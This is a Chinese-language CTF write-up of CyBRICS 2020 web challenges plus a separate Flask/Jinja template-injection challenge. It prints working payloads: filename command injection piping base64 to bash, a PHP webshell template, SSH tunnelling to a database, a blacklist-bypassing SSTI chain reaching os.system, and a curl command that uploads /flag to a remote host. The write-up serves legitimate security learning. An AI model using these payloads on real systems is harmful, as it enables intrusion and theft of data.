CyBRICS 2020 Web Writeup
有一段时间没打比赛了。前几天是 XCTF 联赛的 CyBRICS 2020,不得不说国外战队的比赛体验真的很好,平台好看,题目不说难度,至少看得出是花心思了的。最后协会也是拿了中国第三 世界第七的成绩 👍👍👍
这里记录一下 Web 题,当做日后备忘。总得来说 Web 不算太难,考得知识点也不是很广,感觉学不到太多东西。
Hunt
挺有创意的签到题。 F12 Console 建几个五个 reCAPTCHA 一个个点掉就行。
const captchaBox = document.createElement('div');
const widgetId = grecaptcha.render(captchaBox, {
'sitekey' : '6Ld0sCEUAAAAAKu8flcnUdVb67kCEI_HYKSwXGHN',
'theme' : 'light',
'callback': 'good',
});
captchaBox.className = 'captcha';
document.body.appendChild(captchaBox);
cybrics{Th0se_c4p7ch4s_c4n_hunter2_my_hunter2ing_hunter2}
Gif2png
一个上传 GIF 动图之后逐帧转成 PNG 文件的网站。
题目提供了源码,flag 在源码main.py
中。其中转换的操作是执行 ffmpeg 实现,file.filename
可控,因此猜测可能存在命令执行。
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
对于file.filename
的过滤:
if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)
且文件名最后要以.gif
结尾。
本地启一个环境调了一下,文件名 a' 'b' || touch 1 || echo '.gif
可以成功创建文件。
之后改用将payload base64 编码执行:
'$(echo {{base64_here}} | base64 -d | bash ).gif'.gif
尝试弹 shell 和 curl 都没反应,怀疑环境不通外网。
联想到我们在 Web 端是可以访问uploads
文件夹的,因此尝试将main.py
文件复制到uploads
文件夹下进行访问。
首先先正常走一遍流程上传一个 GIF 文件,获得上传后的 URL /result/8c596937-8ad3-4a9d-9367-6c468cbcb787
。
之后我们打算执行:
cp main.py ./uploads/8c596937-8ad3-4a9d-9367-6c468cbcb787/199.png
将main.py
复制该到目录下。
抓包将上传文件的文件名改成 '$(echo Y3AgbWFpbi5weSAuL3VwbG9hZHMvOGM1OTY5MzctOGFkMy00YTlkLTkzNjctNmM0NjhjYmNiNzg3LzE5OS5wbmc= |base64 -d |bash ).gif'.gif
,之后访问 http://gif2png-cybrics2020.ctf.su/uploads/8c596937-8ad3-4a9d-9367-6c468cbcb787/199.png
下载文件,用文本格式打开即可。
cybrics{imagesaresocoolicandrawonthem}
不算太难的一题,命令执行那边能想到用 base64 就没啥了。
WoC
PHP 的代码审计。题目环境是一个计算器,并且用户可以上传自己的 HTML 模板,并分享这些模板。 既然牵扯到计算器了,那多半就是命令执行咯~ 虽说是这样,但是看看这过滤输入的正则:
if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
}
我把这正则拿去可视化都报错了…… 直接就放弃从eval()
进行执行。
其中计算器模板分享功能存在一处file_put_contents()
写文件。
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
写的就是 PHP 文件,控制文件内容即可 getshell。
文件的内容分为三各部分。第一部分是我们可控的$field
,也就是计算器的输入,被上面那一串正则一匹配基本就不剩什么了。第二部分是inc/calclib.html
这个 HTML 文件,第三个部分是我们上传上去的 HTML 的模板文件。因此考虑将 payload 写在 HTML 的模板文件中执行。
可以传入$field=/*
来实现 PHP 多行注释,将后面的?>
闭合标签以及第二部分拼进来的 HTML 的内容全部注释掉。之后在第三部分的模板文件中加入*/
来闭合注释,后面就是可以执行代码的地方。
上传的 HTML 模板会检测是否有相关的 HTML 标签属性,这些我们都可以复制过去加上,全部包在多行注释里注释掉即可。 最终 payload:
id="back"id="field" name="field"id="digit0"id="digit1"id="digit2"id="digit3"id="digit4"id="digit5"id="digit6"id="digit7"id="digit8"id="digit9"id="plus"id="equals"*/file_get_contents('/flag')));?>
使用该模板,访问计算器 field=/*
share=1
,写文件。访问创建的文件,拿到 Flag。
cybrics{5aMe_7h1ng_W3_d0_3Ve5y_n16ht_P1nKY.Try_2_t4k3_0vEr_t3h_w0RLd}
Developer’s Laptop
到这就不会了,等 WP 复现……
OTP
这题是 CTB(Crack the Box)方向的题目,因为是 Golang 相关,所以我也就来试试了。 最后 SSH 那里差一点,可惜了。
题目有使用 Golang 编写的服务端和客户端,其中服务端给了源码,客户端只给了编译后的二进制文件。 先审计服务端源码,分为注册和登录两个功能,用户数据全部存在服务器的 mongoDB 上,且对数据库的操作全都规范使用 mongoDB 的库完成。生成的一次性密钥也是使用了 UUID 库。服务端代码感觉没有什么问题,转战客户端。
客户端二进制文件直接拖进 IDA,未去除符号表,很舒服。
可以看到使用了github.com/jessevdk/go.flags
库,应该是用来解析命令行的参数。除此之外还用到了golang.org/x/crypto/ssh
以及net
库,很容易想到其中有 SSH 的连接操作。切到 Strings 窗口翻翻有啥字符串,居然找到了 SSH 私钥。
拿到私钥后,我们还需要知道连接了哪个地址,用户名是什么。
直接断网,运行客户端,从命令行报错中可以看到连接的地址就是题目otp-cybrics2020.ctf.su
。
至于用户名,我们可以选择抓包获得,或者逆向二进制获得。我这里选择后者。 Golang 建立 SSH 连接的代码如下:
clinet, err := ssh.Dial("tcp", "127.0.0.1:22", config)
其中config
是*ssh.ClientConfig
类型结构体,存储连接的相关配置。
搜索golang_org_x_crypto_ssh_Dial
,发现其在client_commands___LoginCommand
方法中被调用。
下面这里其实就是从字符串中取 3 个字符,也就是函数第一个入参:tcp
。
在往上就是*ssh.ClientConfig
结构体的定义,可以找到字符串guest
,这就是我们登录的用户名。
使用该用户名和私钥即可连接上服务,发现就是服务端,以为还是要 pwn 服务端才行,遂没再多想。 赛后看网上公开的 wp 才发现,既然我们已经使用 SSH 登录上了服务器,我们就可以将服务器上的端口正向代理到本地!!! 因此我们可以代理访问服务器上的 mongoDB。
ssh -L 27017:localhost:27017 guest@34.76.112.206 -i id_rsa
连接上 mongoDB,拿到 admin 的登录密钥,登录即可拿到 flag。
cybrics{n07_S0_D1fF1cuL7_8U7_4lw4yS_chECK_P0R7_F0rw4Rd1N9}
这里再额外附上一道近期做到的感觉挺有意思的题,当做备忘。与 CyBRICS 无关。
ezflask
一上来直接给源码,很纯粹的 Jinja 模板注入。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)
@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', '_', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtin', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = ''
template = '''
<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
可以看到过滤了所有模板注入常用的属性;request
,cookies
,headers
都不能用因此不能从请求的 Query、Cookie、Header 里面传参。最惨的是过滤了单双引号,因此无法直接写字符串。
先附上 Jinja 文档,这道题是前前后后疯狂翻文档,找内置过滤器和函数做的。
https://www.w3cschool.cn/yshfid/a1kl5ozt.html https://www.osgeo.cn/jinja/templates.html#list-of-builtin-filters
首要的问题就是如何构造出想要的字符串。
通过查阅 Jinja 文档,我们可以看到通过dict(a=b)
这样可以在不使用引号的情况下,定义一个dict
的键值。同时,又有join()
函数可以对键进行字符串合并。
因此可以通过dict(buil=aa,tins=dd)|join()
这样的形式,构造除了builtin
,其余的字符串也可以这样构造。
这里还有一个 Jinja 模板注入里很重要字符——下划线 _
需要我们构造。官方 wp 里是直接建了一个 ASCII 转字符的函数,通过传入 95 构造出的_
。
{% set pc = g|lower|list|first|urlencode|first %}
{% set c=dict(c=1).keys()|reverse|first %}
{% set udl=dict(a=pc,c=c).values()|join %}
{% set udl2=udl%(95) %}
{{udl2}}
而我则是随意尝试,发现 { }|select()
返回的是<generator object select_or_reject at 0x7f14ba52bc80>
,这段里面含有下划线和空格,因此直接将此转换成字符串,然后打散成数组,通过pop()
函数来根据下标取值。
({ }|select()|string()|list()).pop(24)|string()
可以构造出任意字符后,我们就可以找一个对象作为起点开始了。题目只过滤了{}
,因此使用{ }
即可绕过生成一个对象。再次查阅 Jinja 文档,得知可以使用{% set a=b %}
来创建变量,可以使用attr()
过滤器来获取对象的属性。
需要重点注意的是,Jinja 里面字符串之间是使用 ~
来进行拼接,而并非+
。
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}
{% set cc = dict(clas=aa,s=dd)|join() %}
{% set ba = dict(bas=aa,e=dd)|join() %}
{% set su = dict(subc=aa,lasses=dd)|join() %}
{% set gl = dict(glo=aa,bals=dd)|join() %}
{% set sys = dict(sys=aa,tem=dd)|join() %}
{% set ini = dict(init=aa)|join() %}
{% set bu = dict(buil=aa,tins=dd)|join() %}
{% set na = dict(nam=aa,e=dd)|join() %}
{% set os = dict(o=aa,s=dd)|join() %}
{% set req = dict(requ=aa,est=dd)|join() %}
{% set e99 = dict(e99=aa)|join() %}
{% set ge = dict(ge=aa,t=dd)|join() %}
{% set cfg = xhx*2~cc~xhx*2 %}
{% set bas = xhx*2~ba~xhx*2 %}
{% set sub = xhx*2~su~xhx*2 %}
{% set init = xhx*2~ini~xhx*2 %}
{% set glob = xhx*2~gl~xhx*2 %}
{% set bul = xhx*2~bu~xhx*2 %}
{% set nam = xhx*2~na~xhx*2 %}
{% set eee = ({ }|attr(cfg)|attr(bas)|attr(sub))().pop(132)|attr(init)|attr(glob) %}
{% set fla = ({ }|attr(cfg)|attr(bas)|attr(sub))().pop(438)|attr(init)|attr(glob) %}
以上,我们便取得了os
类(存于变量eee
中),flask
类(存于变量fla
中),这里我没再去想有没有更简单的办法。我是想从 Flask 的 request.args
中取得任意 payload,然后放入os.system
中执行。
但是经过我多次尝试,我都没有找到 Jinja 中根据键取 dict 值的过滤器。(因为这里[]
被过滤了,只能尝试用过滤器取,经测试attr()
并不行)因此我只能通过for
遍历 dict 中的所有键值,再用 if 来判断键,从而取到值。整整套了三层 for
!!
{% for index, value in fla.items() %}
{% if index == req %}
{% for idx, payload in value.args.items() %}
{% if idx == e99 %}
{% for sysidx, sysfunc in eee.items() %}
{% if sysidx == sys %}
{{sysfunc(payload)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
好在最后终于是成功了!因为靶机网络环境不稳定,无法弹 Shell,就让其读取 Flag 文件再 curl 发到服务器上:curl -XPOST -T /flag http://ip:port/
。
这道题感觉是挺新鲜的,学到很多。后面我还在想如果将数字也过滤掉,是否还可以找到命令执行的方式。
喜欢这篇文章?为什么不打赏一下呢?